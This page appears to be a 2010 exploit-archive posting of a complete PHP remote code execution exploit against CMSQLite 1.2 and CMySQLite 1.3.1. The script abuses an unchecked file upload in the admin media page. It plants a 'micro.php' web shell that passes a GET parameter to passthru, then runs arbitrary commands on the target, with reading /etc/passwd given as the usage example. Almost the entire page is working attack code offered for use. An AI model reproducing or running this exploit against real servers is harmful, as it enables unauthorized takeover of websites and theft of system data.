Home / os / win7

CMSQLite <= 1.2 & CMySQLite <= 1.3.1 Remote Code E

Posted on 15 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>CMSQLite &lt;= 1.2 &amp; CMySQLite &lt;= 1.3.1 Remote Code Execution Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================== CMSQLite &lt;= 1.2 &amp; CMySQLite &lt;= 1.3.1 Remote Code Execution Exploit ================================================================== #!/usr/bin/php -q -d short_open_tag=on &lt;? echo &quot; CMSQLite &lt;= 1.2 &amp; CMySQLite &lt;= 1.3.1 Remote Code Execution Exploit by BlackHawk &lt;hawkgotyou gmail com&gt; &lt;http://twitter.com/itablackhawk&gt; Thanks to rgod for the php code and Natural Killer &quot;; if ($argc&lt;4) { echo &quot;Usage: php &quot;.$argv[0].&quot; Host Path CMD Host: target server (ip/hostname) Path: path of CMSQLite / CMySQLite CMD: A Shell Command Example: php &quot;.$argv[0].&quot; localhost /template/ cat /etc/passwd&quot;; die; } error_reporting(0); ini_set(&quot;max_execution_time&quot;,0); ini_set(&quot;default_socket_timeout&quot;,5); /* Explanation: No check of user rights when uploading a file, and file type is checked via HTTP header Content-Type, wich can be different to the real. exploit creates a micro.php shell on target site */ function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i&lt;=strlen($string)-1; $i++) { if ((ord($string[$i]) &lt;= 32 ) | (ord($string[$i]) &gt; 126 )) {$result.=&quot; .&quot;;} else {$result.=&quot; &quot;.$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=&quot; &quot;.dechex(ord($string[$i]));} else {$exa.=&quot; 0&quot;.dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.=&quot; &quot;; $exa.=&quot; &quot;;} } return $exa.&quot; &quot;.$result; } $proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy... &quot;; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $cmd=&quot;&quot;; for ($i=3; $i&lt;=$argc-1; $i++){ $cmd.=&quot; &quot;.$argv[$i]; } $port=80; $proxy=&quot;&quot;; $cmd=urlencode($cmd); if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo &quot;- Uploading Shell Creator.. &quot;; $data=&quot;-----------------------------7d529a1d23092a &quot;; $data.=&quot;Content-Disposition: form-data; name=&quot;fileName&quot;; filename=&quot;oh_my_shell.php&quot; &quot;; $data.=&quot;Content-Type: application/zip &quot;; $data.=&quot;&lt;?php $fp=fopen('micro.php','w'); fputs($fp,'&lt;?php error_reporting(0); set_time_limit(0); if (get_magic_quotes_gpc()) { $_GET[cmd]=stripslashes($_GET[cmd]); } echo 666999; passthru($_GET[cmd]); echo 666999; ?&gt;'); fclose($fp); chmod('micro.php',777); ?&gt; &quot;; $data.='-----------------------------7d529a1d23092a Content-Disposition: form-data; name=&quot;upload&quot; 1 -----------------------------7d529a1d23092a-- '; $packet=&quot;POST &quot;.$p.&quot;admin/mediaAdmin.php HTTP/1.0 &quot;; $packet.=&quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /* &quot;; $packet.=&quot;Referer: http://&quot;.$host.$path.&quot;/example.html &quot;; $packet.=&quot;Accept-Language: it &quot;; $packet.=&quot;Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a &quot;; $packet.=&quot;Accept-Encoding: gzip, deflate &quot;; $packet.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) &quot;; $packet.=&quot;Host: &quot;.$host.&quot; &quot;; $packet.=&quot;Content-Length: &quot;.strlen($data).&quot; &quot;; $packet.=&quot;Connection: Close &quot;; $packet.=&quot;Cache-Control: no-cache &quot;; $packet.=$data; sendpacketii($packet); echo &quot;- Creating the Shell.. &quot;; $packet =&quot;GET &quot;.$p.&quot;media/oh_my_shell.php HTTP/1.0 &quot;; $packet.=&quot;Host: &quot;.$host.&quot; &quot;; $packet.=&quot;Connection: Close &quot;; $packet.=$data; sendpacketii($packet); sleep(3); echo &quot;- Execute Commands.. &quot;; $packet =&quot;GET &quot;.$p.&quot;media/micro.php?cmd=$cmd HTTP/1.0 &quot;; $packet.=&quot;Host: &quot;.$host.&quot; &quot;; $packet.=&quot;Connection: Close &quot;; $packet.=$data; sendpacketii($packet); if (strstr($html,&quot;666999&quot;)) { echo &quot;Exploit succeeded... &quot;; $temp=explode(&quot;666999&quot;,$html); die(&quot; &quot;.$temp[1].&quot; &quot;); } ?&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP